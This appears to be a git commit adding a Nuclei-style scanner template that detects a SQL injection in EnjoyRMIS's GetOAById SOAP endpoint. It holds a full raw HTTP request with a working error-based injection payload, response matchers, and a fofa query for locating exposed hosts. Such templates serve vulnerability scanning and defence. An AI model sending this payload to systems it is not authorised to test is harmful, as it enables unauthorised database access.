add enjoyrmis sqli
parent
8ebe2887dd
commit
948844c407
|
@ -0,0 +1,35 @@
|
|||
id: enjoyrmis-sqli
|
||||
|
||||
info:
|
||||
name: EnjoyRMIS - SQL Injection
|
||||
author: securityforeveryone
|
||||
severity: high
|
||||
description: |
|
||||
EnjoyRMIS is vulnerable to a SQL injection in the GetOAById SOAP endpoint. An attacker can exploit this to execute arbitrary SQL commands.
|
||||
reference:
|
||||
- https://github.com/wy876/POC/blob/main/EnjoyRMIS-GetOAById%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
|
||||
metadata:
|
||||
fofa-query: body="CheckSilverlightInstalled"
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /EnjoyRMIS_WS/WS/POS/cwsoa.asmx HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: text/xml; charset=utf-8
|
||||
SOAPAction: "http://tempuri.org/GetOAById"
|
||||
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<GetOAById xmlns="http://tempuri.org/">
|
||||
<sId>string' AND 8448 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (8448=8448) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(107)+CHAR(113)+CHAR(113))) AND 'OFyo'='OFyo</sId>
|
||||
</GetOAById>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body,"qqqzq1qvkqq")'
|
||||
- 'status_code == 500'
|
||||
condition: and
|
Loading…
Reference in New Issue